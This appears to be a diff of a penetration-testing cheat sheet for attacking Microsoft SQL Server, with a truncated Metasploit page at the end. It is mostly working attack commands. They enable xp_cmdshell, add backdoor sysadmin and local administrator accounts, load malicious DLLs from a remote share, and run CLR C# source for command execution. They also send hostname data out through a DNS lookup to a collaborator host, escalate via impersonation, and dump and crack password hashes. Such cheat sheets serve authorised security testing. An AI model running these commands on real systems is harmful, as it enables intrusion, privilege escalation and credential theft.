||||||
Get-SQLInstanceLocal
|
|
||||||
```
|
|
||||||
|
|
||||||
### Discover Domain SQL Server Instances
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLInstanceDomain -Verbose
|
|
||||||
# Get Server Info for Found Instances
|
|
||||||
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
|
||||||
# Get Database Names
|
|
||||||
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
|
|
||||||
```
|
|
||||||
|
|
||||||
### Discover Remote SQL Server Instances
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLInstanceBroadcast -Verbose
|
|
||||||
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
|
|
||||||
```
|
|
||||||
|
|
||||||
### Identify Encrypted databases
|
|
||||||
Note: These are automatically decrypted for admins
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Version Query
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLInstanceDomain | Get-Query "select @@version"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Identify Sensitive Information
|
|
||||||
|
|
||||||
### Get Tables from a Specific Database
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
|
|
||||||
Get Column Details from a Table
|
|
||||||
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### Gather 5 Entries from Each Column
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
|
|
||||||
```
|
|
||||||
|
|
||||||
### Gather 5 Entries from a Specific Table
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### Dump common information from server to files
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
|
|
||||||
```
|
|
||||||
|
|
||||||
## Linked Database
|
|
||||||
|
|
||||||
### Find Trusted Link
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select * from master..sysservers
|
|
||||||
```
|
|
||||||
|
|
||||||
### Execute Query Through The Link
|
|
||||||
|
|
||||||
```sql
|
|
||||||
-- execute query through the link
|
|
||||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|
||||||
select version from openquery("linkedserver", 'select @@version as version');
|
|
||||||
|
|
||||||
-- chain multiple openquery
|
|
||||||
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
|
|
||||||
|
|
||||||
-- execute shell commands
|
|
||||||
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
|
|
||||||
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
|
|
||||||
|
|
||||||
-- create user and give admin privileges
|
|
||||||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
|
||||||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Crawl Links for Instances in the Domain
|
|
||||||
A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
|
|
||||||
select * from master..sysservers
|
|
||||||
```
|
|
||||||
|
|
||||||
### Crawl Links for a Specific Instance
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
|
|
||||||
select * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')
|
|
||||||
```
|
|
||||||
|
|
||||||
### Query Version of Linked Database
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
### Execute Procedure on Linked Database
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at "linked.database.local";
|
|
||||||
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
|
|
||||||
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
|
|
||||||
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
|
|
||||||
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
|
|
||||||
```
|
|
||||||
|
|
||||||
### Determine Names of Linked Databases
|
|
||||||
|
|
||||||
> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
### Determine All the Tables Names from a Selected Linked Database
|
|
||||||
|
|
||||||
> The result is TableName which feeds into following query
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select name from <DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
### Gather the Top 5 Columns from a Selected Linked Table
|
|
||||||
|
|
||||||
> The results are ColumnName and ColumnValue which feed into following query
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand>')" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
### Gather Entries from a Selected Linked Column
|
|
||||||
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=<ColumnValueFromPreviousCommand>')" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Command Execution via xp_cmdshell
|
|
||||||
|
|
||||||
> xp_cmdshell disabled by default since SQL Server 2005
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command whoami
|
|
||||||
|
|
||||||
# Creates and adds local user backup to the local administrators group:
|
|
||||||
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
|
|
||||||
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
* Manually execute the SQL query
|
|
||||||
```sql
|
|
||||||
EXEC xp_cmdshell "net user";
|
|
||||||
EXEC master..xp_cmdshell 'whoami'
|
|
||||||
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
|
|
||||||
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
|
|
||||||
```
|
|
||||||
* If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
|
|
||||||
```sql
|
|
||||||
EXEC sp_configure 'show advanced options',1;
|
|
||||||
RECONFIGURE;
|
|
||||||
EXEC sp_configure 'xp_cmdshell',1;
|
|
||||||
RECONFIGURE;
|
|
||||||
```
|
|
||||||
* If the procedure was uninstalled
|
|
||||||
```sql
|
|
||||||
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Extended Stored Procedure
|
|
||||||
|
|
||||||
### Add the extended stored procedure and list extended stored procedures
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Create evil DLL
|
|
||||||
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
|
|
||||||
|
|
||||||
# Load the DLL and call xp_test
|
|
||||||
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test', '\\10.10.0.1\temp\test.dll'"
|
|
||||||
Get-SQLQuery -UserName sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"
|
|
||||||
|
|
||||||
# Listing existing
|
|
||||||
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
* Build a DLL using [xp_evil_template.cpp](https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp)
|
|
||||||
* Load the DLL
|
|
||||||
```sql
|
|
||||||
-- can also be loaded from UNC path or Webdav
|
|
||||||
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
|
|
||||||
EXEC xp_calc
|
|
||||||
sp_dropextendedproc 'xp_calc'
|
|
||||||
```
|
|
||||||
|
|
||||||
## CLR Assemblies
|
|
||||||
|
|
||||||
Prerequisites:
|
|
||||||
* sysadmin privileges
|
|
||||||
* CREATE ASSEMBLY permission (or)
|
|
||||||
* ALTER ASSEMBLY permission (or)
|
|
||||||
|
|
||||||
The execution takes place with privileges of the **service account**.
|
|
||||||
|
|
||||||
### Execute commands using CLR assembly
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal string
|
|
||||||
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop
|
|
||||||
|
|
||||||
# Execute command using CLR assembly
|
|
||||||
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose
|
|
||||||
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
|
|
||||||
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
|
|
||||||
|
|
||||||
# List all the stored procedures added using CLR
|
|
||||||
Get-SQLStoredProcedureCLR -Instance <instance> -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
### Manually creating a CLR DLL and importing it
|
|
||||||
|
|
||||||
Create a C# DLL file with the following content, with the command : `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs`
|
|
||||||
|
|
||||||
```csharp
|
|
||||||
using System;
|
|
||||||
using System.Data;
|
|
||||||
using System.Data.SqlClient;
|
|
||||||
using System.Data.SqlTypes;
|
|
||||||
using Microsoft.SqlServer.Server;
|
|
||||||
using System.IO;
|
|
||||||
using System.Diagnostics;
|
|
||||||
using System.Text;
|
|
||||||
|
|
||||||
public partial class StoredProcedures
|
|
||||||
{
|
|
||||||
[Microsoft.SqlServer.Server.SqlProcedure]
|
|
||||||
public static void cmd_exec (SqlString execCommand)
|
|
||||||
{
|
|
||||||
Process proc = new Process();
|
|
||||||
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
|
|
||||||
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
|
|
||||||
proc.StartInfo.UseShellExecute = false;
|
|
||||||
proc.StartInfo.RedirectStandardOutput = true;
|
|
||||||
proc.Start();
|
|
||||||
|
|
||||||
// Create the record and specify the metadata for the columns.
|
|
||||||
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
|
|
||||||
|
|
||||||
// Mark the beginning of the result set.
|
|
||||||
SqlContext.Pipe.SendResultsStart(record);
|
|
||||||
|
|
||||||
// Set values for each column in the row
|
|
||||||
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
|
|
||||||
|
|
||||||
// Send the row back to the client.
|
|
||||||
SqlContext.Pipe.SendResultsRow(record);
|
|
||||||
|
|
||||||
// Mark the end of the result set.
|
|
||||||
SqlContext.Pipe.SendResultsEnd();
|
|
||||||
|
|
||||||
proc.WaitForExit();
|
|
||||||
proc.Close();
|
|
||||||
}
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
Then follow these instructions:
|
|
||||||
|
|
||||||
1. Enable `show advanced options` on the server
|
|
||||||
```sql
|
|
||||||
sp_configure 'show advanced options',1;
|
|
||||||
RECONFIGURE
|
|
||||||
GO
|
|
||||||
```
|
|
||||||
2. Enable CLR on the server
|
|
||||||
```sql
|
|
||||||
sp_configure 'clr enabled',1
|
|
||||||
RECONFIGURE
|
|
||||||
GO
|
|
||||||
```
|
|
||||||
3. Import the assembly
|
|
||||||
```sql
|
|
||||||
CREATE ASSEMBLY my_assembly
|
|
||||||
FROM 'c:\temp\cmd_exec.dll'
|
|
||||||
WITH PERMISSION_SET = UNSAFE;
|
|
||||||
```
|
|
||||||
4. Link the assembly to a stored procedure
|
|
||||||
```sql
|
|
||||||
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
|
|
||||||
GO
|
|
||||||
```
|
|
||||||
5. Execute and clean
|
|
||||||
```sql
|
|
||||||
cmd_exec "whoami"
|
|
||||||
DROP PROCEDURE cmd_exec
|
|
||||||
DROP ASSEMBLY my_assembly
|
|
||||||
```
|
|
||||||
|
|
||||||
**CREATE ASSEMBLY** will also accept an hexadecimal string representation of a CLR DLL
|
|
||||||
|
|
||||||
```sql
|
|
||||||
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
|
|
||||||
0x4D5A90000300000004000000F[TRUNCATED]
|
|
||||||
WITH PERMISSION_SET = UNSAFE
|
|
||||||
GO
|
|
||||||
```
|
|
||||||
|
|
||||||
## OLE Automation
|
|
||||||
|
|
||||||
* :warning: Disabled by default
|
|
||||||
* The execution takes place with privileges of the **service account**.
|
|
||||||
|
|
||||||
### Execute commands using OLE automation procedures
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
# Enable OLE Automation
|
|
||||||
EXEC sp_configure 'show advanced options', 1
|
|
||||||
EXEC sp_configure reconfigure
|
|
||||||
EXEC sp_configure 'OLE Automation Procedures', 1
|
|
||||||
EXEC sp_configure reconfigure
|
|
||||||
|
|
||||||
# Execute commands
|
|
||||||
DECLARE @execmd INT
|
|
||||||
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
|
|
||||||
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
|
|
||||||
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr Microsoft.SqlServer.Proxy.dll
|
|
||||||
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador 'C:\windows\temp\reciclador.dll'
|
|
||||||
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador 'C:\windows\temp\reciclador.dll'
|
|
||||||
SQL> enable_ole
|
|
||||||
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Agent Jobs
|
|
||||||
|
|
||||||
* The execution takes place with privileges of the **SQL Server Agent service account** if a proxy account is not configured.
|
|
||||||
* :warning: Require **sysadmin** or **SQLAgentUserRole**, **SQLAgentReaderRole**, and **SQLAgentOperatorRole** roles to create a job.
|
|
||||||
|
|
||||||
### Execute commands through SQL Agent Job service
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -Verbose
|
|
||||||
Subsystem Options:
|
|
||||||
–Subsystem CmdExec
|
|
||||||
-SubSystem PowerShell
|
|
||||||
–Subsystem VBScript
|
|
||||||
–Subsystem Jscript
|
|
||||||
```
|
|
||||||
|
|
||||||
```sql
|
|
||||||
USE msdb;
|
|
||||||
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
|
|
||||||
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"', @retry_attempts = 1, @retry_interval = 5 ;
|
|
||||||
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
|
|
||||||
EXEC dbo.sp_start_job N'test_powershell_job1';
|
|
||||||
|
|
||||||
-- delete
|
|
||||||
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
|
|
||||||
```
|
|
||||||
|
|
||||||
### List All Jobs
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
|
|
||||||
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
|
|
||||||
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password Password1234 -Verbose
|
|
||||||
```
|
|
||||||
|
|
||||||
## External Scripts
|
|
||||||
|
|
||||||
:warning: You need to enable **external scripts**.
|
|
||||||
|
|
||||||
```sql
|
|
||||||
sp_configure 'external scripts enabled', 1;
|
|
||||||
RECONFIGURE;
|
|
||||||
```
|
|
||||||
|
|
||||||
## Python:
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
|
|
||||||
|
|
||||||
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
|
|
||||||
WITH RESULT SETS (([cmd_out] nvarchar(max)))
|
|
||||||
```
|
|
||||||
|
|
||||||
## R
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
|
|
||||||
|
|
||||||
EXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
|
|
||||||
WITH RESULT SETS (([cmd_out] text));
|
|
||||||
GO
|
|
||||||
|
|
||||||
@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Audit Checks
|
|
||||||
|
|
||||||
|
|
||||||
### Find and exploit impersonation opportunities
|
|
||||||
|
|
||||||
* Impersonate as: `EXECUTE AS LOGIN = 'sa'`
|
|
||||||
* Impersonate `dbo` with DB_OWNER
|
|
||||||
```sql
|
|
||||||
SQL> select is_member('db_owner');
|
|
||||||
SQL> execute as user = 'dbo'
|
|
||||||
SQL> SELECT is_srvrolemember('sysadmin')
|
|
||||||
```
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
|
|
||||||
|
|
||||||
# impersonate sa account
|
|
||||||
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
|
|
||||||
```
|
|
||||||
|
|
||||||
## Find databases that have been configured as trustworthy
|
|
||||||
|
|
||||||
```sql
|
|
||||||
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -Verbose
|
|
||||||
|
|
||||||
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databases
|
|
||||||
```
|
|
||||||
|
|
||||||
> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
Invoke-SQLAuditPrivXpDirtree
|
|
||||||
Invoke-SQLUncPathInjection
|
|
||||||
Invoke-SQLAuditPrivXpFileexist
|
|
||||||
```
|
|
||||||
|
|
||||||
## Manual SQL Server Queries
|
|
||||||
|
|
||||||
### Query Current User & determine if the user is a sysadmin
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select suser_sname()
|
|
||||||
Select system_user
|
|
||||||
select is_srvrolemember('sysadmin')
|
|
||||||
```
|
|
||||||
|
|
||||||
### Current Role
|
|
||||||
|
|
||||||
```sql
|
|
||||||
Select user
|
|
||||||
```
|
|
||||||
|
|
||||||
### Current DB
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select db_name()
|
|
||||||
```
|
|
||||||
|
|
||||||
### List all tables
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select table_name from information_schema.tables
|
|
||||||
```
|
|
||||||
|
|
||||||
### List all databases
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select name from master..sysdatabases
|
|
||||||
```
|
|
||||||
|
|
||||||
### All Logins on Server
|
|
||||||
|
|
||||||
```sql
|
|
||||||
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
|
|
||||||
```
|
|
||||||
|
|
||||||
### All Database Users for a Database
|
|
||||||
|
|
||||||
```sql
|
|
||||||
Select * from sys.database_principals where type_desc != 'database_role';
|
|
||||||
```
|
|
||||||
|
|
||||||
### List All Sysadmins
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
|
|
||||||
```
|
|
||||||
|
|
||||||
### List All Database Roles
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT DB1.name AS DatabaseRoleName,
|
|
||||||
isnull (DB2.name, 'No members') AS DatabaseUserName
|
|
||||||
FROM sys.database_role_members AS DRM
|
|
||||||
RIGHT OUTER JOIN sys.database_principals AS DB1
|
|
||||||
ON DRM.role_principal_id = DB1.principal_id
|
|
||||||
LEFT OUTER JOIN sys.database_principals AS DB2
|
|
||||||
ON DRM.member_principal_id = DB2.principal_id
|
|
||||||
WHERE DB1.type = 'R'
|
|
||||||
ORDER BY DB1.name;
|
|
||||||
```
|
|
||||||
|
|
||||||
### Effective Permissions from the Server
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select * from fn_my_permissions(null, 'server');
|
|
||||||
```
|
|
||||||
|
|
||||||
### Effective Permissions from the Database
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
|
|
||||||
```
|
|
||||||
|
|
||||||
### Find SQL Server Logins Which can be Impersonated for the Current Database
|
|
||||||
|
|
||||||
```sql
|
|
||||||
select distinct b.name
|
|
||||||
from sys.server_permissions a
|
|
||||||
inner join sys.server_principals b
|
|
||||||
on a.grantor_principal_id = b.principal_id
|
|
||||||
where a.permission_name = 'impersonate'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Exploiting Impersonation
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT SYSTEM_USER
|
|
||||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
|
||||||
EXECUTE AS LOGIN = 'adminuser'
|
|
||||||
SELECT SYSTEM_USER
|
|
||||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
|
||||||
SELECT ORIGINAL_LOGIN()
|
|
||||||
```
|
|
||||||
|
|
||||||
### Exploiting Nested Impersonation
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT SYSTEM_USER
|
|
||||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
|
||||||
EXECUTE AS LOGIN = 'stduser'
|
|
||||||
SELECT SYSTEM_USER
|
|
||||||
EXECUTE AS LOGIN = 'sa'
|
|
||||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
|
||||||
SELECT ORIGINAL_LOGIN()
|
|
||||||
SELECT SYSTEM_USER
|
|
||||||
```
|
|
||||||
|
|
||||||
### MSSQL Accounts and Hashes
|
|
||||||
|
|
||||||
```sql
|
|
||||||
MSSQL 2000:
|
|
||||||
SELECT name, password FROM master..sysxlogins
|
|
||||||
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)
|
|
||||||
|
|
||||||
MSSQL 2005
|
|
||||||
SELECT name, password_hash FROM master.sys.sql_logins
|
|
||||||
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
|
|
||||||
```
|
|
||||||
|
|
||||||
Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
131 MSSQL (2000) 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
|
|
||||||
132 MSSQL (2005) 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
|
|
||||||
1731 MSSQL (2012, 2014) 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt](https://medium.com/@D00MFist/powerupsql-cheat-sheet-sql-server-queries-40e1c418edc3)
|
|
||||||
* [PowerUpSQL Cheat Sheet - Scott Sutherland](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet)
|
|
||||||
* [Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017](https://blog.netspi.com/attacking-sql-server-clr-assemblies/)
|
|
||||||
* [MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016](https://www.optiv.com/explore-optiv-insights/blog/mssql-agent-jobs-command-execution)
|
|
||||||
@@ -1,240 +1,23 @@
|
|||||||
# Metasploit
|
# Metasploit
|
||||||
|
|
||||||
## Summary
|
:warning: Content of this page has been moved to [InternalAllTheThings/command-control/metasploit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/)
|
||||||
|
|
||||||
* [Installation](#installation)
|
- [Installation](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#installation)
|
||||||
* [Sessions](#sessions)
|
- [Sessions](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#sessions)
|
||||||
* [Background handler](#background-handler)
|
- [Background handler](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#background-handler)
|
||||||
* [Meterpreter - Basic](#meterpreter---basic)
|
- [Meterpreter - Basic](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#meterpreter---basic)
|
||||||
* [Generate a meterpreter](#generate-a-meterpreter)
|
- [Generate a meterpreter](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#generate-a-meterpreter)
|
||||||
* [Meterpreter Webdelivery](#meterpreter-webdelivery)
|
- [Meterpreter Webdelivery](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#meterpreter-webdelivery)
|
||||||
* [Get System](#get-system)
|
- [Get System](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#get-system)
|
||||||
* [Persistence Startup](#persistence-startup)
|
- [Persistence Startup](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#persistence-startup)
|
||||||
* [Network Monitoring](#network-monitoring)
|
- [Network Monitoring](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#network-monitoring)
|
||||||
* [Portforward](#portforward)
|
- [Portforward](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#portforward)
|
||||||
* [Upload / Download](#upload---download)
|
- [Upload / Download](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#upload---download)
|
||||||
* [Execute from Memory](#execute-from-memory)
|
- [Execute from Memory](https://swisskyrepo.github.io/InternalAllTheThings/command-control/metasploit/#execute-from-memory)
|
||||||
* [Mimikatz](#mimikatz)
|
